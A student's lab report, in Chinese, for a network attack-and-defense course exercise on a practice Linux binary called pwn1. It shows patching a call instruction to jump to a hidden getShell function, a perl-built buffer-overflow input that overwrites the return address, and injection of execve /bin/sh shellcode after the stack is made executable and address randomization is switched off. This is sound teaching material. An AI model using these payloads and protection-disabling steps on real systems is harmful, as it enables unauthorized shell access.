2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp1 PC平台逆向破解
一、实践目标
- 本次实践的对象是一个名为pwn1的linux可执行文件
- 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串
- 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell
- 正常情况下这个代码是不会被运行的。想办法运行这个代码片段
- 学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode
二、实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 注入一个自己制作的shellcode并运行这段shellcode
三、实验准备
1.预备知识
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:机器码0x90(NOP指令即"no operation"空操作)
- JNE:机器码0x75(条件转移指令---"not equal",如果不相等则跳转。)
- JE:机器码0x74(条件转移指令--"equal",如果相等则跳转。)
JMP:无条件跳转
- 机器码0xEB,Jmp short---段内直接短转
- 机器码0xE9,Jmp near---段内直接近转移
- 机器码0xFF,Jmp word---段内间接转移
- 机器码0xEA,Jmp far---段间直接(远)转移
CMP:机器码0x38~3D(比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。)
- 掌握反汇编与十六进制编程器
反汇编指令:
- objdump -d <file(s)>: 将代码段反汇编;
- objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
- objdump -l <file(s)>: 反汇编代码中插入文件名和行号
十六进制编程器:
- vim 以ASCII码形式显示可执行文件的内容
- :%!xxd 切换显示模式(16进制模式、ASCII码模式)
- gdb调试的常用命令
- break(b):设置断点
- run(r):运行程序
- clear:清除断点
- info:显示断点信息
- attach:继续执行程序
2.文件准备
- 下载实验文件pwn1,将其通过共享文件夹传入虚拟机,即kali中,可以直接通过图形界面,将其转到/home中自己创建的文件夹下,或者通过终端输入命令,cp过来也行
- 根据实验要求,将文件重命名
- 把文件进行备份
3.环境准备
实验中需要进行 gdb 调试,所以如果没有安装 gdb,则会提示没有 gdb 这个命令,需要安装gdb,在root下依次输入 apt-get update 、apt-get install gdb ,然后进行确定输入y,即可
实验还需要用到 execstack,没有安装就需要下载,我是用 apt-get install prelink 下载的(在root下),apt-get install execstack,我看见其他人这样下载安装的也可以
四、实验步骤
任务一:手工修改可执行文件,改变程序执行流程
- 在文件所在文件夹下,输入指令objdump -d 20175218pwn1 | more 对 20175218pwn1 文件进行反汇编
对反汇编的结果进行分析
起始位置:
- 主函数为:0x080484af
- foo函数为0x08048491
- getshell代码段为:0x0804847d
主函数中调用函数的指令call 8048491 后的地址为:0x080484ba,可见此地址与foo函数的起始地址差0x080484ba - 0x08048491 = 0xffffffd7与该指令对应机器码e8 d7 ff ff ff对应
因此,要让程序执行到getShell只需更改call指令的机器码为相应地址的差,地址差为0x080484ba - 0x0804847d = 0xffffffc3
修改机器指令
输入指令 vi 20175218pwn1 打开文件
- 输入指令 :%!xxd 将文件转换为16进制查看
- 按回车往下找,找到 d7ffffff 位置
- 输入 i 进入插入模式,将 d7 修改为 c3 ,然后输入指令 :%!xxd -r 将文件转化为ASCII码形式,最后再 wq 保存并退出
- 输入指令 objdump -d 20175218pwn1 | more 再次进行反编译,此时可见 20175218pwn1 文件被修改了
- 运行之前备份的 20175218pwn1.bak 文件和 20175218pwn1 文件看两者的运行模式
任务二:利用foo函数的Bof漏洞,覆盖返回地址,触发getShell函数
先将 20175218pwn1 文件通过备用文件还原,输入指令 cp 20175218pwn1.bak 20175218pwn1
通过反汇编指令观察foo函数为其输入留了多少空间
通过图示可以计算实现缓冲区溢出的字符数为28+4=32 个字节,因此需要将getShell函数的地址放在返回地址即需要33~36字节
接下来,需要确定输入什么样的字符能进行攻击,先输入指令 gdb 20175218pwn1 进行gdb调试
- 在输入时特意输入36字节长度的字符(猜想),同时用 info r 指令查看寄存器的状态。在得到Segmentation fault后,通过对比 eip 寄存器和输入的字符就可以知道我们需要在何处对输入字符替换(验证)
- 输入从老师视频中给出的指令 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input ,同时可以通过xxd来验证字符串
通过管道符 | ,输入命令(cat input; cat ) | ./20175218pwn1 将构造的输入注入并运行,查看结果
任务三:注入一个shellcode并运行
先将 20175218pwn1 文件通过备用文件还原,输入指令 cp 20175218pwn1.bak 20175218pwn1
- linux下有两种构造方法,一种针对缓冲区小的情况,一种针对缓冲区大的情况,具体构造方法都可以从老师提供的视频中了解到。这里我们采用的是针对缓冲区小的情况。对文件 20175218pwn1 进行以下操作:
设置设置堆栈可执行
- execstack -s 20175218pwn1 设置堆栈可执行
- execstack -q 20175218pwn1 查询文件的堆栈是否可执行,结果为X表示可执行
关闭地址随机化(在root下进行操作)
- more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭
- echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化
- more /proc/sys/kernel/randomize_va_space 再次查看,结果为0证明已关闭
- 参考老师给出的代码,需要先构造一个input_shellcode,并且在此终端(终端1)通过指令 (cat input_shellcode;cat) | ./20175218pwn1 运行20175218pwn1
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 另开一个终端(终端2),在文件所在文件夹下输入指令 ps -ef | grep 20175218pwn1 查看 20175218pwn1 的进程号
- 在终端2输入指令 gdb 启用gdb调试,输入指令 attach + 20175218pwn1 的进程号来定位 20175218pwn1 的进程。输入 disassemble foo 进行反编译,可以看到 ret 指令的地址为 0x080484ae,在此处设置断点, 输入 break *0x080484ae。然后在终端1中按下回车运行,程序执行到断点停止,再在b终端输入c继续运行程序
- 在终端2输入指令 info r esp 查看 esp 寄存器地址。输入 x/16x + esp 寄存器地址以16进制形式查看 esp 寄存器地址即 0xffffd32c 地址后面16字节的内容。可以观察到 0x01020304 的地址为0xffffd32c,因此 shellcode 注入位置地址为 0xffffd32c+0x00000004=0xffffd330
- 输入修改注入代码的地址
perl -e 'print "A" x 32;print"\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 输入指令(cat input_shellcode;cat) | ./20175218pwn1 运行发现 shellcode 注入成功
五、实践思考
问题一:什么是漏洞?
答:百度百科说的是漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。但在我的想法中,漏洞就是设备中存在的缺陷,攻击者可以利用它来破坏存在漏洞的设备,从而达到自己的目的。一般对于我最容易想到的就是电脑,有时候如果你安装了杀毒软件,存在漏洞就会提醒你打补丁。
问题二:漏洞有什么危害?
答:在我看来,以电脑为例来说,电脑存在漏洞,如果攻击者对你的电脑不感兴趣,就是不攻击你的电脑的话,其实也没什么危害。但是如果被攻击者攻击的话,他们可以利用你电脑的漏洞,很容易就能攻击到你的电脑,包括利用你的电脑发起dos攻击,或者破坏你的电脑系统,或者窃取你的信息等等一系列危害。
六、实验收获与感想
这次实验,总的来说不是很困难,但是我花的时间还是比较长的。首先,因为之前用过Linux系统,对这方面的知识比较熟悉,但是还是去学习了一遍Linux的知识。然后,这次实验先是看了老师的视频,然后自己尝试去做,中途也碰到一些问题,包括指令错误,指令输错等等,但是基本碰到的都是小问题,做得还是比较顺利,因为害怕中途做错,所以每一步做得比较小心,这样加起来,这个实验总共花的时间算是比较长了。然后就是对于这个实验,主要就是一些指令和寄存器、缓冲区、堆栈方面的知识,通过这个实验,也让我对于缓冲区和堆栈这方面的知识更加了解,也知道了一些汇编指令的机器码,熟悉了一些Linux下的指令,总的来说,收获还是挺多的。